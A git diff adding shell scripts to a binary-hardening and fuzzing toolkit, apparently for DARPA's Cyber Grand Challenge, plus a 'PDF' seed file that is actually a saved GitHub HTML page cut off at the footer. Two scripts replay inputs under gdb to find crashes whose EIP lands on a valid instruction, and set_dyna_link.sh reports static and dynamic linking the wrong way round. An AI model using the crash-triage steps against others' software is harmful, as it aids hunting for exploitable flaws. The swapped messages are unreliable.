+++ b/peasoup_examples/tools/ps_zipr_rida.sh
@@ -0,0 +1,20 @@
+#!/bin/bash 
+
+source $(dirname $0)/ps_wrapper.source $0
+
+meds_static_opt=" -s meds_static=off"
+rida_opt=" -s rida=on"
+
+echo $@ | grep "meds_static=" >/dev/null 2>&1
+if [ $? -eq 0 ]; then
+	meds_static_specified=1
+	meds_static_opt=" "
+fi
+
+echo $@ | grep "rida=" >/dev/null 2>&1
+if [ $? -eq 0 ]; then
+	rida_specified=1
+	rida_opt=" "
+fi
+
+$PEASOUP_HOME/tools/ps_analyze.sh "$@" --backend zipr $meds_static_opt $rida_opt
diff --git a/peasoup_examples/tools/replay_with_gdb.sh b/peasoup_examples/tools/replay_with_gdb.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ec6f191a19333230237a597ddefe0b99962191ac
--- /dev/null
+++ b/peasoup_examples/tools/replay_with_gdb.sh
@@ -0,0 +1,42 @@
+#!/bin/bash -x
+
+#
+# Run program under gdb
+# Detect seg faults
+# Make sure valid address
+# Extract eip
+#
+
+bin=$1
+input_file=$2
+
+timeout=60
+
+if [ ! -f $bin ]; then
+	echo "binary file: $bin does not exist"
+	exit 1
+fi
+
+if [ ! -f $bin ]; then
+	echo "input file: $input_file does not exist"
+	exit 1
+fi
+
+# look for segmentation fault
+timeout $timeout gdb $1 --batch --ex "run < $2" --ex "info registers \$eip" --ex "quit" > gdb.out 2>&1 < /dev/null
+grep -i segmentation gdb.out &>/dev/null 
+if [ $? -eq 0 ]; then
+    eip=`grep eip gdb.out | awk -F " " '{print $2;}'`
+    # does eip point to a valid instruction?
+    gdb $1 --batch --ex "x/i $eip" --ex "quit" 2>&1 </dev/null | grep -i "cannot access" &>/dev/null
+    if [ $? -eq 0 ]; then
+       echo "crashed but eip $eip does not point to a valid instruction" 
+       exit 1
+    fi
+    echo $eip
+    exit 0
+else
+    cat gdb.out
+fi
+
+exit 1
diff --git a/peasoup_examples/tools/run_one_test.sh b/peasoup_examples/tools/run_one_test.sh
new file mode 100755
index 0000000000000000000000000000000000000000..48f5b9c2c2ab96dbead99c1404bc47b37c22adb6
--- /dev/null
+++ b/peasoup_examples/tools/run_one_test.sh
@@ -0,0 +1,69 @@
+#!/bin/sh
+
+# usage: run_one_test.sh <testSubDir> <bSpri>
+# Given a test subdirectory, figure out whether the test succeeded or failed by comparing outputs
+
+# layout
+#
+# TEST_DIR/spec/input              'contains specified inputs
+# TEST_DIR/spec/output             'contains specified outputs
+# TEST_DIR/transformed/output      'contains output obtained by running the user-specified command
+
+TEST_DIR=$1
+BSPRI=$2
+
+SPEC_DIR=$TEST_DIR/spec
+XFORMED_DIR=$TEST_DIR/transformed
+
+ORIG_EXIT_CODE_FILE=$SPEC_DIR/exitcode/exitcode.txt
+XFORMED_EXIT_CODE_FILE=$XFORMED_DIR/exitcode/exitcode.txt
+
+echo "running test $TEST_DIR from $XFORMED_DIR using bspri file: $BSPRI"
+cd $XFORMED_DIR
+./test_new_cmd.sh $BSPRI
+status=$?
+
+if [ $status -eq 139 ]; then
+  exit $status 
+else
+  echo "test command status code: $status"
+fi
+
+# compare exit codes when exit code file is found
+if [ -f $ORIG_EXIT_CODE_FILE ]; then
+	diff $ORIG_EXIT_CODE_FILE $XFORMED_EXIT_CODE_FILE
+	if [ ! $? -eq 0 ]; then
+		echo "test $TEST_DIR: exit codes do not match"
+		exit 1
+	fi
+fi
+
+cd output
+
+# make sure we have same number of files in the output directory
+num_files_orig=`ls $SPEC_DIR/output | wc -l`
+num_files_xformed=`ls | wc -l`
+
+if [ "$num_files_orig" != "$num_files_xformed" ]; then
+  echo "Test $TEST_DIR failed -- different number of output files detected"
+  exit 1
+fi
+
+# compare outputs
+for i in `ls`
+do
+  diff $i $SPEC_DIR/output/$i
+  if [ ! $? -eq 0 ]; then
+    echo "Test $1 failed -- $i output differ from the original at $SPEC_DIR/output/$i"
+    echo "Content original ($i):"
+    cat $SPEC_DIR/output/$i
+    echo "Content transformed ($i):"
+    cat $i
+
+    exit 1
+  fi
+done
+
+
+echo "Test $1 passed"
+exit 0
diff --git a/peasoup_examples/tools/run_stratafied.tmpl.sh b/peasoup_examples/tools/run_stratafied.tmpl.sh
new file mode 100755
index 0000000000000000000000000000000000000000..51b4fa387e2164c158f7778377bf072f07a37e33
--- /dev/null
+++ b/peasoup_examples/tools/run_stratafied.tmpl.sh
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+# Don't use this script directly
+
+# need to get these from ps_analyze instead of hardwiring them
+STRATA_DOUBLE_FREE=1 STRATA_HEAPRAND=1 STRATA_PC_CONFINE=1 STRATA_PC_CONFINE_XOR=0 STRATA_SIEVE=1 STRATA_RC=1 STRATA_PARTIAL_INLINING=0 STRATA_ANNOT_FILE=../../../a.ncexe.annot ../../../a.stratafied "$@"
+status=$?
+
+exit $status
diff --git a/peasoup_examples/tools/set_dyna_link.sh b/peasoup_examples/tools/set_dyna_link.sh
new file mode 100755
index 0000000000000000000000000000000000000000..973f4e587433c20bc456d07f1beac185dd9dd77e
--- /dev/null
+++ b/peasoup_examples/tools/set_dyna_link.sh
@@ -0,0 +1,52 @@
+#!/bin/sh
+
+infile=$1
+outfile=$2
+
+
+rm -f $outfile
+
+error(){
+	echo "This program ($infile) is not a statically or dynamically linked ELF file"
+	exit 1 
+}
+
+usage() {
+	echo "Usage: set_dyna_link.sh exe outfile"
+	exit 2
+}
+
+
+ldd $infile  2>&1 |grep "not a dynamic executable" 2>&1 > /dev/null
+
+# if selected lines found 
+if [ $? = 0 ]; then
+	# We know it's not a DL file  
+	# check that it's statically linked ELF
+
+	file $infile  2>&1 |grep "ELF 32-bit LSB executable" |grep "statically linked" 2>&1 > /dev/null
+
+	# selected lines found
+	if [ $? = 0 ]; then
+		echo $infile is detected as a 32-bit dynamically linked executable.
+		echo n > $outfile
+		exit 0
+	else
+		error
+	fi
+
+else
+
+	file $infile  2>&1 |grep "ELF 32-bit LSB executable" |grep "dynamically linked" 2>&1 > /dev/null
+	# selected lines found
+	if [ $? = 0 ]; then
+		echo $infile is detected as a 32-bit statically linked executable.
+		echo y > $outfile
+		exit 0
+	else
+		error
+	fi
+fi
+
+echo Shouldnt reach here.
+exit 3
diff --git a/peasoup_examples/tools/sfuzz/replay_seed_inputs.sh b/peasoup_examples/tools/sfuzz/replay_seed_inputs.sh
new file mode 100755
index 0000000000000000000000000000000000000000..00a418ca5eaaf4041a030fba813421d2d119568d
--- /dev/null
+++ b/peasoup_examples/tools/sfuzz/replay_seed_inputs.sh
@@ -0,0 +1,36 @@
+#!/bin/bash
+
+cgc_binary=$1            # binary 
+seeds_dir=$2             # path of seed input directory
+crash_dir=$3             # where to copy any crashing inputs
+crash_eip_file=$4        # out: name of file where we output the crashing EIPs
+
+TIMEOUT=20
+
+# make sure we can get a core file
+ulimit -c unlimited
+
+#
+# feed seed inputs to binary
+#
+for i in `ls $seeds_dir`
+do
+	input=${seeds_dir}/$i
+
+	eip=`timeout $TIMEOUT ${PEASOUP_HOME}/tools/replay_with_gdb.sh ${cgc_binary} ${input}`
+	if [ $? -eq 0 ]; then
+		cp $input $crash_dir
+        	# segmentation fault detected and valid eip
+		echo "detected valid crash site: $eip"
+		echo $eip >> $crash_eip_file			
+	else
+		echo "no valid crash site detected: $eip"
+	fi
+
+	echo "EIP: $eip"
+done
+
+if [ -f $crash_eip_file ]; then
+	sort $crash_eip_file | uniq > tmp.$$
+	mv tmp.$$ $crash_eip_file
+fi
diff --git a/peasoup_examples/tools/sfuzz/seed_inputs/cgc_site_visit.pdf b/peasoup_examples/tools/sfuzz/seed_inputs/cgc_site_visit.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..3b49b2bcd10b187f6edaef0ae5bca206ceefbb4b
--- /dev/null
+++ b/peasoup_examples/tools/sfuzz/seed_inputs/cgc_site_visit.pdf
@@ -0,0 +1,530 @@
+
+
+
+<!DOCTYPE html>
+<html lang="en" class="">
+  <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# object: http://ogp.me/ns/object# article: http://ogp.me/ns/article# profile: http://ogp.me/ns/profile#">
+    <meta charset='utf-8'>
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta http-equiv="Content-Language" content="en">
+    
+    
+    <title>cgc-release-documentation/CGC Site Visit Procedures.pdf at master · CyberGrandChallenge/cgc-release-documentation · GitHub</title>
+    <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub">
+    <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub">
+    <link rel="apple-touch-icon" sizes="57x57" href="/apple-touch-icon-114.png">
+    <link rel="apple-touch-icon" sizes="114x114" href="/apple-touch-icon-114.png">
+    <link rel="apple-touch-icon" sizes="72x72" href="/apple-touch-icon-144.png">
+    <link rel="apple-touch-icon" sizes="144x144" href="/apple-touch-icon-144.png">
+    <meta property="fb:app_id" content="1401488693436528">
+
+      <meta content="@github" name="twitter:site" /><meta content="summary" name="twitter:card" /><meta content="CyberGrandChallenge/cgc-release-documentation" name="twitter:title" /><meta content="cgc-release-documentation - DARPA Cyber Grand Challenge Documentation" name="twitter:description" /><meta content="https://avatars2.githubusercontent.com/u/7250734?v=3&amp;s=400" name="twitter:image:src" />
+      <meta content="GitHub" property="og:site_name" /><meta content="object" property="og:type" /><meta content="https://avatars2.githubusercontent.com/u/7250734?v=3&amp;s=400" property="og:image" /><meta content="CyberGrandChallenge/cgc-release-documentation" property="og:title" /><meta content="https://github.com/CyberGrandChallenge/cgc-release-documentation" property="og:url" /><meta content="cgc-release-documentation - DARPA Cyber Grand Challenge Documentation" property="og:description" />
+      <meta name="browser-stats-url" content="/_stats">
+    <link rel="assets" href="https://assets-cdn.github.com/">
+    
+    <meta name="pjax-timeout" content="1000">
+    
+
+    <meta name="msapplication-TileImage" content="/windows-tile.png">
+    <meta name="msapplication-TileColor" content="#ffffff">
+    <meta name="selected-link" value="repo_source" data-pjax-transient>
+      <meta name="google-analytics" content="UA-3769691-2">
+
+    <meta content="collector.githubapp.com" name="octolytics-host" /><meta content="collector-cdn.github.com" name="octolytics-script-host" /><meta content="github" name="octolytics-app-id" /><meta content="4C78C3F3:3803:DA1FB2:551D5CA0" name="octolytics-dimension-request_id" />
+    
+    <meta content="Rails, view, blob#show" name="analytics-event" />
+    <meta class="js-ga-set" name="dimension1" content="Logged Out">
+    <meta class="js-ga-set" name="dimension2" content="Header v3">
+    <meta name="is-dotcom" content="true">
+    <meta name="hostname" content="github.com">
+
+    
+    <link rel="icon" type="image/x-icon" href="https://assets-cdn.github.com/favicon.ico">
+
+
+    <meta content="authenticity_token" name="csrf-param" />
+<meta content="o7qv9TgdpqZkCwnRHYclRng8gnVPTmrRn9AmJU1ukmMlqGPMQjl5YOfWGhLV0g/SDGIeTGyUAXEbH+N97OoNJA==" name="csrf-token" />
+
+    <link href="https://assets-cdn.github.com/assets/github-950b5852c920d19e6a45889c000e95d47cbcb3c30a892d66b5c9cf5848880151.css" media="all" rel="stylesheet" />
+    <link href="https://assets-cdn.github.com/assets/github2-55a56fde6b5610cbda93c8d4367fd46591288c7e78e27b27ed94fdba85ca9feb.css" media="all" rel="stylesheet" />
+    
+    
+
+
+    <meta http-equiv="x-pjax-version" content="2c5a3de2a5d207ba02a808ea53b462a3">
+
+      
+  <meta name="description" content="cgc-release-documentation - DARPA Cyber Grand Challenge Documentation">
+  <meta name="go-import" content="github.com/CyberGrandChallenge/cgc-release-documentation git https://github.com/CyberGrandChallenge/cgc-release-documentation.git">
+
+  <meta content="7250734" name="octolytics-dimension-user_id" /><meta content="CyberGrandChallenge" name="octolytics-dimension-user_login" /><meta content="20376544" name="octolytics-dimension-repository_id" /><meta content="CyberGrandChallenge/cgc-release-documentation" name="octolytics-dimension-repository_nwo" /><meta content="true" name="octolytics-dimension-repository_public" /><meta content="false" name="octolytics-dimension-repository_is_fork" /><meta content="20376544" name="octolytics-dimension-repository_network_root_id" /><meta content="CyberGrandChallenge/cgc-release-documentation" name="octolytics-dimension-repository_network_root_nwo" />
+  <link href="https://github.com/CyberGrandChallenge/cgc-release-documentation/commits/master.atom" rel="alternate" title="Recent Commits to cgc-release-documentation:master" type="application/atom+xml">
+
+  </head>
+
+
+  <body class="logged_out  env-production  vis-public page-blob">
+    <a href="#start-of-content" tabindex="1" class="accessibility-aid js-skip-to-content">Skip to content</a>
+    <div class="wrapper">
+      
+      
+      
+
+
+        
+        <div class="header header-logged-out" role="banner">
+  <div class="container clearfix">
+
+    <a class="header-logo-wordmark" href="https://github.com/" data-ga-click="(Logged out) Header, go to homepage, icon:logo-wordmark">
+      <span class="mega-octicon octicon-logo-github"></span>
+    </a>
+
+    <div class="header-actions" role="navigation">
+        <a class="btn btn-primary" href="/join" data-ga-click="(Logged out) Header, clicked Sign up, text:sign-up">Sign up</a>
+      <a class="btn" href="/login?return_to=%2FCyberGrandChallenge%2Fcgc-release-documentation%2Fblob%2Fmaster%2FCGC%2520Site%2520Visit%2520Procedures.pdf" data-ga-click="(Logged out) Header, clicked Sign in, text:sign-in">Sign in</a>
+    </div>
+
+    <div class="site-search repo-scope js-site-search" role="search">
+      <form accept-charset="UTF-8" action="/CyberGrandChallenge/cgc-release-documentation/search" class="js-site-search-form" data-global-search-url="/search" data-repo-search-url="/CyberGrandChallenge/cgc-release-documentation/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
+  <input type="text"
+    class="js-site-search-field is-clearable"
+    data-hotkey="s"
+    name="q"
+    placeholder="Search"
+    data-global-scope-placeholder="Search GitHub"
+    data-repo-scope-placeholder="Search"
+    tabindex="1"
+    autocapitalize="off">
+  <div class="scope-badge">This repository</div>
+</form>
+    </div>
+
+      <ul class="header-nav left" role="navigation">
+          <li class="header-nav-item">
+            <a class="header-nav-link" href="/explore" data-ga-click="(Logged out) Header, go to explore, text:explore">Explore</a>
+          </li>
+          <li class="header-nav-item">
+            <a class="header-nav-link" href="/features" data-ga-click="(Logged out) Header, go to features, text:features">Features</a>
+          </li>
+          <li class="header-nav-item">
+            <a class="header-nav-link" href="https://enterprise.github.com/" data-ga-click="(Logged out) Header, go to enterprise, text:enterprise">Enterprise</a>
+          </li>
+          <li class="header-nav-item">
+            <a class="header-nav-link" href="/blog" data-ga-click="(Logged out) Header, go to blog, text:blog">Blog</a>
+          </li>
+      </ul>
+
+  </div>
+</div>
+
+
+
+      <div id="start-of-content" class="accessibility-aid"></div>
+          <div class="site" itemscope itemtype="http://schema.org/WebPage">
+    <div id="js-flash-container">
+      
+    </div>
+    <div class="pagehead repohead instapaper_ignore readability-menu">
+      <div class="container">
+        
+<ul class="pagehead-actions">
+
+  <li>
+      <a href="/login?return_to=%2FCyberGrandChallenge%2Fcgc-release-documentation"
+    class="btn btn-sm btn-with-count tooltipped tooltipped-n"
+    aria-label="You must be signed in to watch a repository" rel="nofollow">
+    <span class="octicon octicon-eye"></span>
+    Watch
+  </a>
+  <a class="social-count" href="/CyberGrandChallenge/cgc-release-documentation/watchers">
+    11
+  </a>
+
+  </li>
+
+  <li>
+      <a href="/login?return_to=%2FCyberGrandChallenge%2Fcgc-release-documentation"
+    class="btn btn-sm btn-with-count tooltipped tooltipped-n"
+    aria-label="You must be signed in to star a repository" rel="nofollow">
+    <span class="octicon octicon-star"></span>
+    Star
+  </a>
+
+    <a class="social-count js-social-count" href="/CyberGrandChallenge/cgc-release-documentation/stargazers">
+      9
+    </a>
+
+  </li>
+
+    <li>
+      <a href="/login?return_to=%2FCyberGrandChallenge%2Fcgc-release-documentation"
+        class="btn btn-sm btn-with-count tooltipped tooltipped-n"
+        aria-label="You must be signed in to fork a repository" rel="nofollow">
+        <span class="octicon octicon-repo-forked"></span>
+        Fork
+      </a>
+      <a href="/CyberGrandChallenge/cgc-release-documentation/network" class="social-count">
+        7
+      </a>
+    </li>
+</ul>
+
+        <h1 itemscope itemtype="http://data-vocabulary.org/Breadcrumb" class="entry-title public">
+          <span class="mega-octicon octicon-repo"></span>
+          <span class="author"><a href="/CyberGrandChallenge" class="url fn" itemprop="url" rel="author"><span itemprop="title">CyberGrandChallenge</span></a></span><!--
+       --><span class="path-divider">/</span><!--
+       --><strong><a href="/CyberGrandChallenge/cgc-release-documentation" class="js-current-repository" data-pjax="#js-repo-pjax-container">cgc-release-documentation</a></strong>
+
+          <span class="page-context-loader">
+            <img alt="" height="16" src="https://assets-cdn.github.com/assets/spinners/octocat-spinner-32-e513294efa576953719e4e2de888dd9cf929b7d62ed8d05f25e731d02452ab6c.gif" width="16" />
+          </span>
+
+        </h1>
+      </div><!-- /.container -->
+    </div><!-- /.repohead -->
+
+    <div class="container">
+      <div class="repository-with-sidebar repo-container new-discussion-timeline  ">
+        <div class="repository-sidebar clearfix">
+            
+<nav class="sunken-menu repo-nav js-repo-nav js-sidenav-container-pjax js-octicon-loaders"
+     role="navigation"
+     data-pjax="#js-repo-pjax-container"
+     data-issue-count-url="/CyberGrandChallenge/cgc-release-documentation/issues/counts">
+  <ul class="sunken-menu-group">
+    <li class="tooltipped tooltipped-w" aria-label="Code">
+      <a href="/CyberGrandChallenge/cgc-release-documentation" aria-label="Code" class="selected js-selected-navigation-item sunken-menu-item" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches /CyberGrandChallenge/cgc-release-documentation">
+        <span class="octicon octicon-code"></span> <span class="full-word">Code</span>
+        <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/assets/spinners/octocat-spinner-32-e513294efa576953719e4e2de888dd9cf929b7d62ed8d05f25e731d02452ab6c.gif" width="16" />
+</a>    </li>
+
+      <li class="tooltipped tooltipped-w" aria-label="Issues">
+        <a href="/CyberGrandChallenge/cgc-release-documentation/issues" aria-label="Issues" class="js-selected-navigation-item sunken-menu-item" data-hotkey="g i" data-selected-links="repo_issues repo_labels repo_milestones /CyberGrandChallenge/cgc-release-documentation/issues">
+          <span class="octicon octicon-issue-opened"></span> <span class="full-word">Issues</span>
+          <span class="js-issue-replace-counter"></span>
+          <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/assets/spinners/octocat-spinner-32-e513294efa576953719e4e2de888dd9cf929b7d62ed8d05f25e731d02452ab6c.gif" width="16" />
+</a>      </li>
+
+    <li class="tooltipped tooltipped-w" aria-label="Pull requests">
+      <a href="/CyberGrandChallenge/cgc-release-documentation/pulls" aria-label="Pull requests" class="js-selected-navigation-item sunken-menu-item" data-hotkey="g p" data-selected-links="repo_pulls /CyberGrandChallenge/cgc-release-documentation/pulls">
+          <span class="octicon octicon-git-pull-request"></span> <span class="full-word">Pull requests</span>
+          <span class="js-pull-replace-counter"></span>
+          <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/assets/spinners/octocat-spinner-32-e513294efa576953719e4e2de888dd9cf929b7d62ed8d05f25e731d02452ab6c.gif" width="16" />
+</a>    </li>
+
+  </ul>
+  <div class="sunken-menu-separator"></div>
+  <ul class="sunken-menu-group">
+
+    <li class="tooltipped tooltipped-w" aria-label="Pulse">
+      <a href="/CyberGrandChallenge/cgc-release-documentation/pulse" aria-label="Pulse" class="js-selected-navigation-item sunken-menu-item" data-selected-links="pulse /CyberGrandChallenge/cgc-release-documentation/pulse">
+        <span class="octicon octicon-pulse"></span> <span class="full-word">Pulse</span>
+        <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/assets/spinners/octocat-spinner-32-e513294efa576953719e4e2de888dd9cf929b7d62ed8d05f25e731d02452ab6c.gif" width="16" />
+</a>    </li>
+
+    <li class="tooltipped tooltipped-w" aria-label="Graphs">
+      <a href="/CyberGrandChallenge/cgc-release-documentation/graphs" aria-label="Graphs" class="js-selected-navigation-item sunken-menu-item" data-selected-links="repo_graphs repo_contributors /CyberGrandChallenge/cgc-release-documentation/graphs">
+        <span class="octicon octicon-graph"></span> <span class="full-word">Graphs</span>
+        <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/assets/spinners/octocat-spinner-32-e513294efa576953719e4e2de888dd9cf929b7d62ed8d05f25e731d02452ab6c.gif" width="16" />
+</a>    </li>
+  </ul>
+
+
+</nav>
+
+              <div class="only-with-full-nav">
+                  
+<div class="clone-url open"
+  data-protocol-type="http"
+  data-url="/users/set_protocol?protocol_selector=http&amp;protocol_type=clone">
+  <h3><span class="text-emphasized">HTTPS</span> clone URL</h3>
+  <div class="input-group js-zeroclipboard-container">
+    <input type="text" class="input-mini input-monospace js-url-field js-zeroclipboard-target"
+           value="https://github.com/CyberGrandChallenge/cgc-release-documentation.git" readonly="readonly">
+    <span class="input-group-button">
+      <button aria-label="Copy to clipboard" class="js-zeroclipboard btn btn-sm zeroclipboard-button" data-copied-hint="Copied!" type="button"><span class="octicon octicon-clippy"></span></button>
+    </span>
+  </div>
+</div>
+
+  
+<div class="clone-url "
+  data-protocol-type="subversion"
+  data-url="/users/set_protocol?protocol_selector=subversion&amp;protocol_type=clone">
+  <h3><span class="text-emphasized">Subversion</span> checkout URL</h3>
+  <div class="input-group js-zeroclipboard-container">
+    <input type="text" class="input-mini input-monospace js-url-field js-zeroclipboard-target"
+           value="https://github.com/CyberGrandChallenge/cgc-release-documentation" readonly="readonly">
+    <span class="input-group-button">
+      <button aria-label="Copy to clipboard" class="js-zeroclipboard btn btn-sm zeroclipboard-button" data-copied-hint="Copied!" type="button"><span class="octicon octicon-clippy"></span></button>
+    </span>
+  </div>
+</div>
+
+
+
+<p class="clone-options">You can clone with
+  <a href="#" class="js-clone-selector" data-protocol="http">HTTPS</a> or <a href="#" class="js-clone-selector" data-protocol="subversion">Subversion</a>.
+  <a href="https://help.github.com/articles/which-remote-url-should-i-use" class="help tooltipped tooltipped-n" aria-label="Get help on which URL is right for you.">
+    <span class="octicon octicon-question"></span>
+  </a>
+</p>
+
+
+
+                <a href="/CyberGrandChallenge/cgc-release-documentation/archive/master.zip"
+                   class="btn btn-sm sidebar-button"
+                   aria-label="Download the contents of CyberGrandChallenge/cgc-release-documentation as a zip file"
+                   title="Download the contents of CyberGrandChallenge/cgc-release-documentation as a zip file"
+                   rel="nofollow">
+                  <span class="octicon octicon-cloud-download"></span>
+                  Download ZIP
+                </a>
+              </div>
+        </div><!-- /.repository-sidebar -->
+
+        <div id="js-repo-pjax-container" class="repository-content context-loader-container" data-pjax-container>
+          
+
+<a href="/CyberGrandChallenge/cgc-release-documentation/blob/3164d22a438253c1bc56392f501d55db4f7ead71/CGC%20Site%20Visit%20Procedures.pdf" class="hidden js-permalink-shortcut" data-hotkey="y">Permalink</a>
+
+<!-- blob contrib key: blob_contributors:v21:c059f66bf3d49c3f11a8c773f83d717c -->
+
+<div class="file-navigation js-zeroclipboard-container">
+  
+<div class="select-menu js-menu-container js-select-menu left">
+  <span class="btn btn-sm select-menu-button js-menu-target css-truncate" data-hotkey="w"
+    data-master-branch="master"
+    data-ref="master"
+    title="master"
+    role="button" aria-label="Switch branches or tags" tabindex="0" aria-haspopup="true">
+    <span class="octicon octicon-git-branch"></span>
+    <i>branch:</i>
+    <span class="js-select-button css-truncate-target">master</span>
+  </span>
+
+  <div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax aria-hidden="true">
+
+    <div class="select-menu-modal">
+      <div class="select-menu-header">
+        <span class="select-menu-title">Switch branches/tags</span>
+        <span class="octicon octicon-x js-menu-close" role="button" aria-label="Close"></span>
+      </div>
+
+      <div class="select-menu-filters">
+        <div class="select-menu-text-filter">
+          <input type="text" aria-label="Filter branches/tags" id="context-commitish-filter-field" class="js-filterable-field js-navigation-enable" placeholder="Filter branches/tags">
+        </div>
+        <div class="select-menu-tabs">
+          <ul>
+            <li class="select-menu-tab">
+              <a href="#" data-tab-filter="branches" data-filter-placeholder="Filter branches/tags" class="js-select-menu-tab">Branches</a>
+            </li>
+            <li class="select-menu-tab">
+              <a href="#" data-tab-filter="tags" data-filter-placeholder="Find a tag…" class="js-select-menu-tab">Tags</a>
+            </li>
+          </ul>
+        </div>
+      </div>
+
+      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="branches">
+
+        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
+
+
+            <a class="select-menu-item js-navigation-item js-navigation-open selected"
+               href="/CyberGrandChallenge/cgc-release-documentation/blob/master/CGC%20Site%20Visit%20Procedures.pdf"
+               data-name="master"
+               data-skip-pjax="true"
+               rel="nofollow">
+              <span class="select-menu-item-icon octicon octicon-check"></span>
+              <span class="select-menu-item-text css-truncate-target" title="master">
+                master
+              </span>
+            </a>
+        </div>
+
+          <div class="select-menu-no-results">Nothing to show</div>
+      </div>
+
+      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="tags">
+        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
+
+
+        </div>
+
+        <div class="select-menu-no-results">Nothing to show</div>
+      </div>
+
+    </div>
+  </div>
+</div>
+
+  <div class="btn-group right">
+    <a href="/CyberGrandChallenge/cgc-release-documentation/find/master"
+          class="js-show-file-finder btn btn-sm empty-icon tooltipped tooltipped-s"
+          data-pjax
+          data-hotkey="t"
+          aria-label="Quickly jump between files">
+      <span class="octicon octicon-list-unordered"></span>
+    </a>
+    <button aria-label="Copy file path to clipboard" class="js-zeroclipboard btn btn-sm zeroclipboard-button" data-copied-hint="Copied!" type="button"><span class="octicon octicon-clippy"></span></button>
+  </div>
+
+  <div class="breadcrumb js-zeroclipboard-target">
+    <span class='repo-root js-repo-root'><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/CyberGrandChallenge/cgc-release-documentation" class="" data-branch="master" data-direction="back" data-pjax="true" itemscope="url"><span itemprop="title">cgc-release-documentation</span></a></span></span><span class="separator">/</span><strong class="final-path">CGC Site Visit Procedures.pdf</strong>
+  </div>
+</div>
+
+
+  <div class="commit file-history-tease">
+    <div class="file-history-tease-header">
+        <img alt="" class="avatar" height="24" src="https://2.gravatar.com/avatar/66a95a1505ed63940efc492d6906c6dd?d=https%3A%2F%2Fassets-cdn.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png&amp;r=x&amp;s=140" width="24" />
+        <span class="author"><span>Cyber Grand Challenge Framework Team</span></span>
+        <time datetime="2015-03-18T22:20:41Z" is="relative-time">Mar 18, 2015</time>
+        <div class="commit-title">
+            <a href="/CyberGrandChallenge/cgc-release-documentation/commit/aa8f6756b88e21467eaa219db4d7236999269958" class="message" data-pjax="true" title="cqe rc4">cqe rc4</a>
+        </div>
+    </div>
+
+    <div class="participation">
+      <p class="quickstat">
+        <a href="#blob_contributors_box" rel="facebox">
+          <strong>0</strong>
+           contributors
+        </a>
+      </p>
+      
+    </div>
+    <div id="blob_contributors_box" style="display:none">
+      <h2 class="facebox-header">Users who have contributed to this file</h2>
+      <ul class="facebox-user-list">
+      </ul>
+    </div>
+  </div>
+
+<div class="file">
+  <div class="file-header">
+    <div class="file-actions">
+
+      <div class="btn-group">
+        <a href="/CyberGrandChallenge/cgc-release-documentation/raw/master/CGC%20Site%20Visit%20Procedures.pdf" class="btn btn-sm " id="raw-url">Raw</a>
+        <a href="/CyberGrandChallenge/cgc-release-documentation/commits/master/CGC%20Site%20Visit%20Procedures.pdf" class="btn btn-sm " rel="nofollow">History</a>
+      </div>
+
+
+
+        <button type="button" class="octicon-btn octicon-btn-danger disabled tooltipped tooltipped-n" aria-label="You must be signed in to make or propose changes">
+          <span class="octicon octicon-trashcan"></span>
+        </button>
+    </div>
+
+    <div class="file-info">
+      455.803 kb
+    </div>
+  </div>
+  
+  <div class="blob-wrapper data type-text">
+      
+  <div class="render-wrapper">
+    <div class="render-container is-render-pending js-render-target"
+      data-identity="326c7084-6611-496f-ae35-a2f0af694198"
+      data-host="https://render.githubusercontent.com"
+      data-type="pdf"
+      data-local="false">
+      <img alt="" class="octospinner" height="64" src="https://assets-cdn.github.com/assets/spinners/octocat-spinner-128-338974454bb5c32803e82f601beb051d373744b024fe8742a76009700fd7e033.gif" width="64" />
+      <div class="render-viewer-error">Sorry, something went wrong. <a href="https://github.com/CyberGrandChallenge/cgc-release-documentation/blob/master/CGC%20Site%20Visit%20Procedures.pdf" id="render-refresh">Reload?</a></div>
+      <div class="render-viewer-fatal">Sorry, we cannot display this file.</div>
+      <div class="render-viewer-invalid">Sorry, this file is invalid so it cannot be displayed.</div>
+      <iframe class="render-viewer" src="https://render.githubusercontent.com/view/pdf?commit=3164d22a438253c1bc56392f501d55db4f7ead71&amp;nwo=CyberGrandChallenge%2Fcgc-release-documentation&amp;path=CGC+Site+Visit+Procedures.pdf&amp;url=https%3A%2F%2Fraw.githubusercontent.com%2FCyberGrandChallenge%2Fcgc-release-documentation%2Fmaster%2FCGC%2520Site%2520Visit%2520Procedures.pdf#326c7084-6611-496f-ae35-a2f0af694198" sandbox="allow-scripts allow-same-origin allow-top-navigation">Viewer requires iframe.</iframe>
+    </div>
+  </div>
+
+  </div>
+
+</div>
+
+<a href="#jump-to-line" rel="facebox[.linejump]" data-hotkey="l" style="display:none">Jump to Line</a>
+<div id="jump-to-line" style="display:none">
+  <form accept-charset="UTF-8" action="" class="js-jump-to-line-form" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
+    <input class="linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line&hellip;" autofocus>
+    <button type="submit" class="btn">Go</button>
+</form></div>
+
+        </div>
+
+      </div><!-- /.repo-container -->
+      <div class="modal-backdrop"></div>
+    </div><!-- /.container -->
+  </div><!-- /.site -->
+
+
+    </div><!-- /.wrapper -->
+
+      <div class="container">
+  <div class="site-footer" role="contentinfo">
+    <ul class="site-footer-links right">
